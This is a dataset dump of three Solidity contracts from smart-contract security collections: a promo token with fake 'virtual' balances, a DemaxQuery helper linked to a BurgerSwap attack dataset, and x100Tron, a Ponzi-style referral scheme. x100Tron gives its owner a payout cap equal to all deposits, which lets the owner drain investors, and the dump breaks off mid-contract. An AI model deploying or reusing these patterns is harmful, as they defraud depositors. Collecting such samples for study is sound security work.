hash
stringlengths 64
64
| size
int64 7k
624k
| ext
stringclasses 1
value | lang
stringclasses 1
value | is_test
bool 2
classes | repo_id
stringclasses 846
values | repo_name
stringclasses 846
values | repo_head
stringclasses 846
values | repo_path
stringlengths 7
155
| content_tokens
int64 1.82k
42.6k
| content_chars
int64 6.85k
58.7k
| content
stringlengths 6.85k
58.7k
| __index_level_0__
int64 84
346k
| id
int64 0
14.2k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
5174467484f437f29d4ee5595cb30e2e9d69377a87ff4a055c744bd244e7f12d
| 19,925 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x1acc5652735bc9ed6b420627d93411ff6a6df549.sol
| 2,950 | 11,253 |
pragma solidity ^0.4.17;
contract ERC20 {
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/// @dev Crowdsale interface for Etheal Normal Sale, functions needed from outside.
contract iEthealSale {
bool public paused;
uint256 public minContribution;
uint256 public whitelistThreshold;
mapping (address => uint256) public stakes;
function setPromoBonus(address _investor, uint256 _value) public;
function buyTokens(address _beneficiary) public payable;
function depositEth(address _beneficiary, uint256 _time, bytes _whitelistSign) public payable;
function depositOffchain(address _beneficiary, uint256 _amount, uint256 _time) public;
function hasEnded() public constant returns (bool);
}
contract HasNoTokens is Ownable {
event ExtractedTokens(address indexed _token, address indexed _claimer, uint _amount);
/// @notice This method can be used to extract mistakenly
/// sent tokens to this contract.
/// @param _token The address of the token contract that you want to recover
/// set to 0 in case you want to extract ether.
/// @param _claimer Address that tokens will be send to
function extractTokens(address _token, address _claimer) onlyOwner public {
if (_token == 0x0) {
_claimer.transfer(this.balance);
return;
}
ERC20 token = ERC20(_token);
uint balance = token.balanceOf(this);
token.transfer(_claimer, balance);
ExtractedTokens(_token, _claimer, balance);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Token {
function totalSupply () view returns (uint256 supply);
function balanceOf (address _owner) view returns (uint256 balance);
function transfer (address _to, uint256 _value) returns (bool success);
function transferFrom (address _from, address _to, uint256 _value) returns (bool success);
function approve (address _spender, uint256 _value) returns (bool success);
function allowance (address _owner, address _spender) view returns (uint256 remaining);
event Transfer (address indexed _from, address indexed _to, uint256 _value);
event Approval (address indexed _owner, address indexed _spender, uint256 _value);
}
contract AbstractToken is Token {
using SafeMath for uint;
function AbstractToken () {
// Do nothing
}
function balanceOf (address _owner) view returns (uint256 balance) {
return accounts[_owner];
}
function transfer (address _to, uint256 _value) returns (bool success) {
uint256 fromBalance = accounts[msg.sender];
if (fromBalance < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts[msg.sender] = fromBalance.sub(_value);
accounts[_to] = accounts[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
return true;
}
function transferFrom (address _from, address _to, uint256 _value) returns (bool success) {
uint256 spenderAllowance = allowances[_from][msg.sender];
if (spenderAllowance < _value) return false;
uint256 fromBalance = accounts[_from];
if (fromBalance < _value) return false;
allowances[_from][msg.sender] = spenderAllowance.sub(_value);
if (_value > 0 && _from != _to) {
accounts[_from] = fromBalance.sub(_value);
accounts[_to] = accounts[_to].add(_value);
Transfer(_from, _to, _value);
}
return true;
}
function approve (address _spender, uint256 _value) returns (bool success) {
allowances[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance (address _owner, address _spender) view returns (uint256 remaining) {
return allowances[_owner][_spender];
}
mapping (address => uint256) accounts;
mapping (address => mapping (address => uint256)) private allowances;
}
contract AbstractVirtualToken is AbstractToken {
using SafeMath for uint;
uint256 constant MAXIMUM_TOKENS_COUNT = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
uint256 constant BALANCE_MASK = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
uint256 constant MATERIALIZED_FLAG_MASK = 0x8000000000000000000000000000000000000000000000000000000000000000;
function AbstractVirtualToken () {
// Do nothing
}
function totalSupply () view returns (uint256 supply) {
return tokensCount;
}
function balanceOf (address _owner) constant returns (uint256 balance) {
return (accounts[_owner] & BALANCE_MASK).add(getVirtualBalance(_owner));
}
function transfer (address _to, uint256 _value) returns (bool success) {
if (_value > balanceOf(msg.sender)) return false;
else {
materializeBalanceIfNeeded(msg.sender, _value);
return AbstractToken.transfer(_to, _value);
}
}
function transferFrom (address _from, address _to, uint256 _value) returns (bool success) {
if (_value > allowance(_from, msg.sender)) return false;
if (_value > balanceOf(_from)) return false;
else {
materializeBalanceIfNeeded(_from, _value);
return AbstractToken.transferFrom(_from, _to, _value);
}
}
function virtualBalanceOf (address _owner) internal view returns (uint256 _virtualBalance);
function getVirtualBalance (address _owner) private view returns (uint256 _virtualBalance) {
if (accounts [_owner] & MATERIALIZED_FLAG_MASK != 0) return 0;
else {
_virtualBalance = virtualBalanceOf(_owner);
uint256 maxVirtualBalance = MAXIMUM_TOKENS_COUNT.sub(tokensCount);
if (_virtualBalance > maxVirtualBalance)
_virtualBalance = maxVirtualBalance;
}
}
function materializeBalanceIfNeeded (address _owner, uint256 _value) private {
uint256 storedBalance = accounts[_owner];
if (storedBalance & MATERIALIZED_FLAG_MASK == 0) {
// Virtual balance is not materialized yet
if (_value > storedBalance) {
// Real balance is not enough
uint256 virtualBalance = getVirtualBalance(_owner);
require (_value.sub(storedBalance) <= virtualBalance);
accounts[_owner] = MATERIALIZED_FLAG_MASK | storedBalance.add(virtualBalance);
tokensCount = tokensCount.add(virtualBalance);
}
}
}
uint256 tokensCount;
}
contract EthealPromoToken is HasNoTokens, AbstractVirtualToken {
// Balance threshold to assign virtual tokens to the owner of higher balances then this threshold.
uint256 private constant VIRTUAL_THRESHOLD = 0.1 ether;
// Number of virtual tokens to assign to the owners of balances higher than virtual threshold.
uint256 private constant VIRTUAL_COUNT = 911;
// crowdsale to set bonus when sending token
iEthealSale public crowdsale;
////////////////
// Basic functions
////////////////
/// @dev Constructor, crowdsale address can be 0x0
function EthealPromoToken(address _crowdsale) {
crowdsale = iEthealSale(_crowdsale);
}
/// @dev Setting crowdsale, crowdsale address can be 0x0
function setCrowdsale(address _crowdsale) public onlyOwner {
crowdsale = iEthealSale(_crowdsale);
}
/// @notice Get virtual balance of the owner of given address.
/// @param _owner address to get virtual balance for the owner
/// @return virtual balance of the owner of given address
function virtualBalanceOf(address _owner) internal view returns (uint256) {
return _owner.balance >= VIRTUAL_THRESHOLD ? VIRTUAL_COUNT : 0;
}
/// @notice Get name of this token.
function name() public pure returns (string result) {
return "An Etheal Promo";
}
/// @notice Get symbol of this token.
function symbol() public pure returns (string result) {
return "HEALP";
}
/// @notice Get number of decimals for this token.
function decimals() public pure returns (uint8 result) {
return 0;
}
////////////////
// Set sale bonus
////////////////
/// @dev Internal function for setting sale bonus
function setSaleBonus(address _from, address _to, uint256 _value) internal {
if (address(crowdsale) == address(0)) return;
if (_value == 0) return;
if (_to == address(1) || _to == address(this) || _to == address(crowdsale)) {
crowdsale.setPromoBonus(_from, _value);
}
}
/// @dev Override transfer function to set sale bonus
function transfer(address _to, uint256 _value) public returns (bool) {
bool success = super.transfer(_to, _value);
if (success) {
setSaleBonus(msg.sender, _to, _value);
}
return success;
}
/// @dev Override transfer function to set sale bonus
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
bool success = super.transferFrom(_from, _to, _value);
if (success) {
setSaleBonus(_from, _to, _value);
}
return success;
}
////////////////
// Extra
////////////////
/// @notice Notify owners about their virtual balances.
function massNotify(address[] _owners) public onlyOwner {
for (uint256 i = 0; i < _owners.length; i++) {
Transfer(address(0), _owners[i], VIRTUAL_COUNT);
}
}
/// @notice Kill this smart contract.
function kill() public onlyOwner {
selfdestruct(owner);
}
}
| 215,827 | 10,300 |
026d94e19c11a8943066c0472411c1c35d45be793efd64664cc250016906b788
| 13,161 |
.sol
|
Solidity
| false |
492670100
|
Messi-Q/DeFi-Protocol
|
ce2661ef6bbb7810544bb619b6687e7228df8491
|
Decentralized Exchange/FlashLoan Attack/Price Manipulation Attack/burgerswap/contracts/DemaxQuery.sol
| 3,340 | 13,059 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >= 0.5.1;
struct Config {
uint minValue;
uint maxValue;
uint maxSpan;
uint value;
uint enable; // 0:disable, 1: enable
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IDemaxConfig {
function tokenCount() external view returns(uint);
function tokenList(uint index) external view returns(address);
function getConfigValue(bytes32 _name) external view returns (uint);
function configs(bytes32 name) external view returns(Config memory);
function tokenStatus(address token) external view returns(uint);
}
interface IDemaxPlatform {
function existPair(address tokenA, address tokenB) external view returns (bool);
function swapPrecondition(address token) external view returns (bool);
function getReserves(address tokenA, address tokenB) external view returns (uint256, uint256);
}
interface IDemaxFactory {
function getPlayerPairCount(address player) external view returns(uint);
function playerPairs(address user, uint index) external view returns(address);
}
interface IDemaxPair {
function token0() external view returns(address);
function token1() external view returns(address);
function getReserves() external view returns(uint, uint, uint);
function lastMintBlock(address user) external view returns(uint);
}
interface IDemaxGovernance {
function ballotCount() external view returns(uint);
function rewardOf(address ballot) external view returns(uint);
function tokenBallots(address ballot) external view returns(address);
function ballotTypes(address ballot) external view returns(uint);
function ballots(uint index) external view returns(address);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner) external view returns (uint);
function configBallots(address ballot) external view returns (bytes32);
function collectUsers(address ballot, address user) external view returns(uint);
}
interface IDemaxBallot {
struct Voter {
uint weight; // weight is accumulated by delegation
bool voted; // if true, that person already voted
address delegate; // person delegated to
uint vote; // index of the voted proposal
}
function subject() external view returns(string memory);
function content() external view returns(string memory);
function endBlockNumber() external view returns(uint);
function createTime() external view returns(uint);
function proposals(uint index) external view returns(uint);
function ended() external view returns (bool);
function value() external view returns (uint);
function voters(address user) external view returns (Voter memory);
}
pragma experimental ABIEncoderV2;
contract DemaxQuery {
bytes32 public constant PRODUCE_DGAS_RATE = bytes32('PRODUCE_DGAS_RATE');
bytes32 public constant SWAP_FEE_PERCENT = bytes32('SWAP_FEE_PERCENT');
bytes32 public constant LIST_DGAS_AMOUNT = bytes32('LIST_DGAS_AMOUNT');
bytes32 public constant UNSTAKE_DURATION = bytes32('UNSTAKE_DURATION');
bytes32 public constant REMOVE_LIQUIDITY_DURATION = bytes32('REMOVE_LIQUIDITY_DURATION');
bytes32 public constant TOKEN_TO_DGAS_PAIR_MIN_PERCENT = bytes32('TOKEN_TO_DGAS_PAIR_MIN_PERCENT');
bytes32 public constant LIST_TOKEN_FAILURE_BURN_PRECENT = bytes32('LIST_TOKEN_FAILURE_BURN_PRECENT');
bytes32 public constant LIST_TOKEN_SUCCESS_BURN_PRECENT = bytes32('LIST_TOKEN_SUCCESS_BURN_PRECENT');
bytes32 public constant PROPOSAL_DGAS_AMOUNT = bytes32('PROPOSAL_DGAS_AMOUNT');
bytes32 public constant VOTE_DURATION = bytes32('VOTE_DURATION');
bytes32 public constant VOTE_REWARD_PERCENT = bytes32('VOTE_REWARD_PERCENT');
bytes32 public constant PAIR_SWITCH = bytes32('PAIR_SWITCH');
bytes32 public constant TOKEN_PENGDING_SWITCH = bytes32('TOKEN_PENGDING_SWITCH');
bytes32 public constant TOKEN_PENGDING_TIME = bytes32('TOKEN_PENGDING_TIME');
address public configAddr;
address public platform;
address public factory;
address public owner;
address public governance;
struct Proposal {
address ballotAddress;
address tokenAddress;
string subject;
string content;
uint createTime;
uint endBlock;
bool end;
uint YES;
uint NO;
uint totalReward;
uint ballotType;
uint weight;
bool minted;
bool voted;
uint voteIndex;
bool audited;
uint value;
bytes32 key;
}
struct Token {
address tokenAddress;
string symbol;
uint decimal;
uint balance;
uint allowance;
uint allowanceGov;
uint status;
}
struct Liquidity {
address pair;
uint balance;
uint totalSupply;
uint lastBlock;
}
constructor(address _config, address _platform, address _factory, address _governance) public {
configAddr = _config;
platform = _platform;
factory = _factory;
governance = _governance;
owner = msg.sender;
}
function upgrade(address _config, address _platform, address _factory, address _governance) public {
require(owner == msg.sender);
configAddr = _config;
platform = _platform;
factory = _factory;
governance = _governance;
}
function queryTokenList() public view returns (Token[] memory token_list) {
uint count = IDemaxConfig(configAddr).tokenCount();
if(count > 0) {
token_list = new Token[](count);
for(uint i = 0;i < count;i++) {
Token memory tk;
tk.tokenAddress = IDemaxConfig(configAddr).tokenList(i);
tk.symbol = IERC20(tk.tokenAddress).symbol();
tk.decimal = IERC20(tk.tokenAddress).decimals();
tk.balance = IERC20(tk.tokenAddress).balanceOf(msg.sender);
tk.allowance = IERC20(tk.tokenAddress).allowance(msg.sender, platform);
tk.allowanceGov = IERC20(tk.tokenAddress).allowance(msg.sender, governance);
tk.status = IDemaxConfig(configAddr).tokenStatus(tk.tokenAddress);
token_list[i] = tk;
}
}
}
function queryLiquidityList() public view returns (Liquidity[] memory liquidity_list) {
uint count = IDemaxFactory(factory).getPlayerPairCount(msg.sender);
if(count > 0) {
liquidity_list = new Liquidity[](count);
for(uint i = 0;i < count;i++) {
Liquidity memory l;
l.pair = IDemaxFactory(factory).playerPairs(msg.sender, i);
l.balance = IERC20(l.pair).balanceOf(msg.sender);
l.totalSupply = IERC20(l.pair).totalSupply();
l.lastBlock = IDemaxPair(l.pair).lastMintBlock(msg.sender);
liquidity_list[i] = l;
}
}
}
function queryPairListInfo(address[] memory pair_list) public view returns (address[] memory token0_list, address[] memory token1_list,
uint[] memory reserve0_list, uint[] memory reserve1_list) {
uint count = pair_list.length;
if(count > 0) {
token0_list = new address[](count);
token1_list = new address[](count);
reserve0_list = new uint[](count);
reserve1_list = new uint[](count);
for(uint i = 0;i < count;i++) {
token0_list[i] = IDemaxPair(pair_list[i]).token0();
token1_list[i] = IDemaxPair(pair_list[i]).token1();
(reserve0_list[i], reserve1_list[i],) = IDemaxPair(pair_list[i]).getReserves();
}
}
}
function queryPairReserve(address[] memory token0_list, address[] memory token1_list) public
view returns (uint[] memory reserve0_list, uint[] memory reserve1_list, bool[] memory exist_list) {
uint count = token0_list.length;
if(count > 0) {
reserve0_list = new uint[](count);
reserve1_list = new uint[](count);
exist_list = new bool[](count);
for(uint i = 0;i < count;i++) {
if(IDemaxPlatform(platform).existPair(token0_list[i], token1_list[i])) {
(reserve0_list[i], reserve1_list[i]) = IDemaxPlatform(platform).getReserves(token0_list[i], token1_list[i]);
exist_list[i] = true;
} else {
exist_list[i] = false;
}
}
}
}
function queryConfig() public view returns (uint fee_percent, uint proposal_amount, uint unstake_duration, uint remove_duration, uint list_token_amount){
fee_percent = IDemaxConfig(configAddr).getConfigValue(SWAP_FEE_PERCENT);
proposal_amount = IDemaxConfig(configAddr).getConfigValue(PROPOSAL_DGAS_AMOUNT);
unstake_duration = IDemaxConfig(configAddr).getConfigValue(UNSTAKE_DURATION);
remove_duration = IDemaxConfig(configAddr).getConfigValue(REMOVE_LIQUIDITY_DURATION);
list_token_amount = IDemaxConfig(configAddr).getConfigValue(LIST_DGAS_AMOUNT);
}
function queryCondition(address[] memory path_list) public view returns (uint){
uint count = path_list.length;
for(uint i = 0;i < count;i++) {
if(!IDemaxPlatform(platform).swapPrecondition(path_list[i])) {
return i + 1;
}
}
return 0;
}
function generateProposal(address ballot_address) public view returns (Proposal memory proposal){
proposal.subject = IDemaxBallot(ballot_address).subject();
proposal.content = IDemaxBallot(ballot_address).content();
proposal.createTime = IDemaxBallot(ballot_address).createTime();
proposal.endBlock = IDemaxBallot(ballot_address).endBlockNumber();
proposal.end = block.number > IDemaxBallot(ballot_address).endBlockNumber() ? true: false;
proposal.audited = IDemaxBallot(ballot_address).ended();
proposal.YES = IDemaxBallot(ballot_address).proposals(1);
proposal.NO = IDemaxBallot(ballot_address).proposals(2);
proposal.totalReward = IDemaxGovernance(governance).rewardOf(ballot_address);
proposal.ballotAddress = ballot_address;
proposal.voted = IDemaxBallot(ballot_address).voters(msg.sender).voted;
proposal.voteIndex = IDemaxBallot(ballot_address).voters(msg.sender).vote;
proposal.weight = IDemaxBallot(ballot_address).voters(msg.sender).weight;
proposal.minted = IDemaxGovernance(governance).collectUsers(ballot_address, msg.sender) == 1;
proposal.ballotType = IDemaxGovernance(governance).ballotTypes(ballot_address);
proposal.tokenAddress = IDemaxGovernance(governance).tokenBallots(ballot_address);
proposal.value = IDemaxBallot(ballot_address).value();
if(proposal.ballotType == 1) {
proposal.key = IDemaxGovernance(governance).configBallots(ballot_address);
}
}
function queryTokenItemInfo(address token) public view returns (string memory symbol, uint decimal, uint totalSupply, uint balance, uint allowance) {
symbol = IERC20(token).symbol();
decimal = IERC20(token).decimals();
totalSupply = IERC20(token).totalSupply();
balance = IERC20(token).balanceOf(msg.sender);
allowance = IERC20(token).allowance(msg.sender, platform);
}
function queryProposalList() public view returns (Proposal[] memory proposal_list){
uint count = IDemaxGovernance(governance).ballotCount();
proposal_list = new Proposal[](count);
for(uint i = 0;i < count;i++) {
address ballot_address = IDemaxGovernance(governance).ballots(i);
proposal_list[count - i - 1] = generateProposal(ballot_address);
}
}
function queryConfigInfo(bytes32 name) public view returns (Config memory config_item){
config_item = IDemaxConfig(configAddr).configs(name);
}
function queryStakeInfo() public view returns (uint stake_amount, uint stake_block) {
stake_amount = IDemaxGovernance(governance).balanceOf(msg.sender);
stake_block = IDemaxGovernance(governance).allowance(msg.sender);
}
}
| 70,517 | 10,301 |
928e006595b9cb7cdaddb8e210ca568b81d92dce22a080579d8746bf0c86c647
| 14,536 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TA/TAo1VtvyJdkJG6D3XDVg6FtwEmw3bH5PU9_x100Tron.sol
| 4,118 | 13,665 |
//SourceUnit: x100Tron.sol
pragma solidity ^0.5.10;
contract x100Tron {
struct User {
uint256 cycle;
address upline;
uint256 referrals;
uint256 firstline_turnover;
uint256 payouts;
uint256 direct_bonus;
uint256 pool_bonus;
uint256 match_bonus;
uint256 deposit_amount;
uint256 deposit_payouts;
uint40 deposit_time;
uint256 total_deposits;
uint256 total_payouts;
uint256 total_structure;
}
address payable private owner;
address payable private admin_fee;
mapping(address => User) public users;
uint256[] public cycles;
uint8[] public ref_bonuses;
uint8[] public ref_rewards;
uint8[] public pool_bonuses;
uint40 public pool_last_draw = uint40(block.timestamp);
uint256 public pool_cycle;
uint256 public pool_balance;
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum;
mapping(uint8 => address) public pool_top;
mapping(uint8 => address) public permanent_top;
uint256 public total_users = 1;
uint256 public total_deposited;
uint256 public total_withdraw;
event Upline(address indexed addr, address indexed upline);
event NewDeposit(address indexed addr, uint256 amount);
event DirectPayout(address indexed addr, address indexed from, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event PoolPayout(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event LimitReached(address indexed addr, uint256 amount);
constructor(address payable _owner, address payable _admin_fee) public {
owner = _owner;
admin_fee = _admin_fee;
ref_bonuses.push(20);
ref_bonuses.push(15);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(1);
ref_bonuses.push(1);
ref_bonuses.push(1);
ref_bonuses.push(1);
ref_bonuses.push(1);
ref_bonuses.push(1);
ref_bonuses.push(1);
ref_bonuses.push(1);
ref_bonuses.push(1);
ref_bonuses.push(1);
ref_rewards.push(5);
ref_rewards.push(3);
ref_rewards.push(2);
pool_bonuses.push(30);
pool_bonuses.push(15);
pool_bonuses.push(12);
pool_bonuses.push(10);
pool_bonuses.push(8);
pool_bonuses.push(7);
pool_bonuses.push(6);
pool_bonuses.push(5);
pool_bonuses.push(4);
pool_bonuses.push(3);
cycles.push(1e11);
cycles.push(25e10);
cycles.push(5e11);
cycles.push(1e12);
cycles.push(2e12);
}
function() payable external {
_deposit(msg.sender, msg.value);
}
function _setUpline(address _addr, address _upline) private {
if(users[_addr].upline == address(0) && _upline != _addr && _addr != owner && (users[_upline].deposit_time > 0 || _upline == owner)) {
users[_addr].upline = _upline;
users[_upline].referrals++;
emit Upline(_addr, _upline);
total_users++;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(_upline == address(0)) break;
users[_upline].total_structure++;
_upline = users[_upline].upline;
}
}
}
function _deposit(address _addr, uint256 _amount) private {
require(users[_addr].upline != address(0) || _addr == owner, "No upline");
if(users[_addr].deposit_time > 0) {
users[_addr].cycle++;
require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].deposit_amount), "Deposit already exists");
require(_amount >= users[_addr].deposit_amount && _amount <= cycles[users[_addr].cycle > cycles.length - 1 ? cycles.length - 1 : users[_addr].cycle], "Bad amount");
}
else require(_amount >= 1e7 && _amount <= cycles[0], "Bad amount");
users[_addr].payouts = 0;
users[_addr].deposit_amount = _amount;
users[_addr].deposit_payouts = 0;
users[_addr].deposit_time = uint40(block.timestamp);
users[_addr].total_deposits += _amount;
if(_addr != owner) { users[users[_addr].upline].firstline_turnover += _amount; }
total_deposited += _amount;
_calculateReferrerReward(_addr, _amount);
emit NewDeposit(_addr, _amount);
_pollDeposits(_addr, _amount);
if(pool_last_draw + 7 days < block.timestamp) {
_drawPool();
}
admin_fee.transfer(_amount * 3 / 100);
}
function _pollDeposits(address _addr, uint256 _amount) private {
pool_balance += _amount * 5 / 100;
address upline = users[_addr].upline;
if(upline == address(0)) return;
pool_users_refs_deposits_sum[pool_cycle][upline] += _amount;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == upline) break;
if(pool_top[i] == address(0)) {
pool_top[i] = upline;
break;
}
if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) {
for(uint8 j = i + 1; j < pool_bonuses.length; j++) {
if(pool_top[j] == upline) {
for(uint8 k = j; k <= pool_bonuses.length; k++) {
pool_top[k] = pool_top[k + 1];
}
break;
}
}
for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) {
pool_top[j] = pool_top[j - 1];
}
pool_top[i] = upline;
break;
}
}
}
function _refPayout(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
if((i + 1) <= getMatchLevel(_addr)) {
uint256 bonus = _amount * ref_bonuses[i] / 100;
users[up].match_bonus += bonus;
emit MatchPayout(up, _addr, bonus);
}
up = users[up].upline;
}
}
function _drawPool() private {
pool_last_draw = uint40(block.timestamp);
pool_cycle++;
uint256 draw_amount = pool_balance;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
uint256 win = draw_amount * pool_bonuses[i] / 100;
users[pool_top[i]].pool_bonus += win;
pool_balance -= win;
emit PoolPayout(pool_top[i], win);
}
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = address(0);
}
}
function deposit(address _upline) payable public {
_setUpline(msg.sender, _upline);
_deposit(msg.sender, msg.value);
}
function withdraw() public {
(uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender);
require(users[msg.sender].payouts < max_payout, "Full payouts");
if(to_payout > 0) {
if(users[msg.sender].payouts + to_payout > max_payout) {
to_payout = max_payout - users[msg.sender].payouts;
}
users[msg.sender].deposit_payouts += to_payout;
users[msg.sender].payouts += to_payout;
_refPayout(msg.sender, to_payout);
}
if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) {
uint256 direct_bonus = users[msg.sender].direct_bonus;
if(users[msg.sender].payouts + direct_bonus > max_payout) {
direct_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].direct_bonus -= direct_bonus;
users[msg.sender].payouts += direct_bonus;
to_payout += direct_bonus;
}
if(users[msg.sender].payouts < max_payout && users[msg.sender].pool_bonus > 0) {
uint256 pool_bonus = users[msg.sender].pool_bonus;
if(users[msg.sender].payouts + pool_bonus > max_payout) {
pool_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].pool_bonus -= pool_bonus;
users[msg.sender].payouts += pool_bonus;
to_payout += pool_bonus;
}
if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) {
uint256 match_bonus = users[msg.sender].match_bonus;
if(users[msg.sender].payouts + match_bonus > max_payout) {
match_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].match_bonus -= match_bonus;
users[msg.sender].payouts += match_bonus;
to_payout += match_bonus;
}
require(to_payout > 0, "Zero payout");
users[msg.sender].total_payouts += to_payout;
total_withdraw += to_payout;
msg.sender.transfer(to_payout);
emit Withdraw(msg.sender, to_payout);
if(users[msg.sender].payouts >= max_payout) {
emit LimitReached(msg.sender, users[msg.sender].payouts);
}
}
function maxPayoutOf(uint256 _amount) pure public returns(uint256) {
return _amount * 30 / 10;
}
function payoutOf(address _addr) view public returns(uint256 payout, uint256 max_payout) {
max_payout = this.maxPayoutOf(users[_addr].deposit_amount);
if(users[_addr].deposit_payouts < max_payout) {
payout = (users[_addr].deposit_amount * ((block.timestamp - users[_addr].deposit_time) / 1 days) / 100)
- users[_addr].deposit_payouts;
if(users[_addr].deposit_payouts + payout > max_payout) {
payout = max_payout - users[_addr].deposit_payouts;
}
}
if(_addr == owner) {
max_payout = total_deposited; // No limit withdraw by deposit for owner
}
}
function _calculateReferrerReward(address _addr, uint256 _amount) private {
uint256 _allReferrerAmount = _amount * 10 / 100;
address up = users[_addr].upline;
for(uint8 i = 0; i < ref_rewards.length; i++) {
if(up == address(0)) break;
uint256 reward = _amount * ref_rewards[i] / 100;
users[up].direct_bonus += reward;
_allReferrerAmount -= reward;
emit DirectPayout(up, _addr, reward);
up = users[up].upline;
}
if (_allReferrerAmount > 0) {
admin_fee.transfer(_allReferrerAmount);
}
}
function userInfo(address _addr) view public returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 direct_bonus, uint256 pool_bonus, uint256 match_bonus) {
return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts, users[_addr].direct_bonus, users[_addr].pool_bonus, users[_addr].match_bonus);
}
function getMatchLevel(address _addr) view private returns(uint256 matchbonuslevel) {
matchbonuslevel = 3;
if(_addr == owner) {
matchbonuslevel = 20;
} else {
if(users[_addr].firstline_turnover >= 1e10 && users[_addr].firstline_turnover < 25e9) {
matchbonuslevel = 5;
} else if(users[_addr].firstline_turnover >= 25e9 && users[_addr].firstline_turnover < 5e10) {
matchbonuslevel = 7;
} else if(users[_addr].firstline_turnover >= 5e10 && users[_addr].firstline_turnover < 1e11) {
matchbonuslevel = 10;
} else if(users[_addr].firstline_turnover >= 1e11 && users[_addr].firstline_turnover < 25e10) {
matchbonuslevel = 12;
} else if(users[_addr].firstline_turnover >= 25e10 && users[_addr].firstline_turnover < 5e11) {
matchbonuslevel = 15;
} else if(users[_addr].firstline_turnover >= 5e11 && users[_addr].firstline_turnover < 1e12) {
matchbonuslevel = 17;
} else if(users[_addr].firstline_turnover >= 1e12) {
matchbonuslevel = 20;
}
}
return matchbonuslevel;
}
function userInfoTotals(address _addr) view public returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure, uint256 match_bonus_level) {
return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure, getMatchLevel(_addr));
}
function contractInfo() view public returns(uint256 _total_users, uint256 _total_deposited, uint256 _total_withdraw, uint40 _pool_last_draw, uint256 _pool_balance, uint256 _pool_lider, address _zero_address) {
return (total_users, total_deposited, total_withdraw, pool_last_draw, pool_balance, pool_users_refs_deposits_sum[pool_cycle][pool_top[0]], address(0));
}
function poolTopInfo() view public returns(address[10] memory addrs, uint256[10] memory deps) {
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
addrs[i] = pool_top[i];
deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]];
}
}
function getOwner() public view returns(address){
require(msg.sender == owner);
return owner;
}
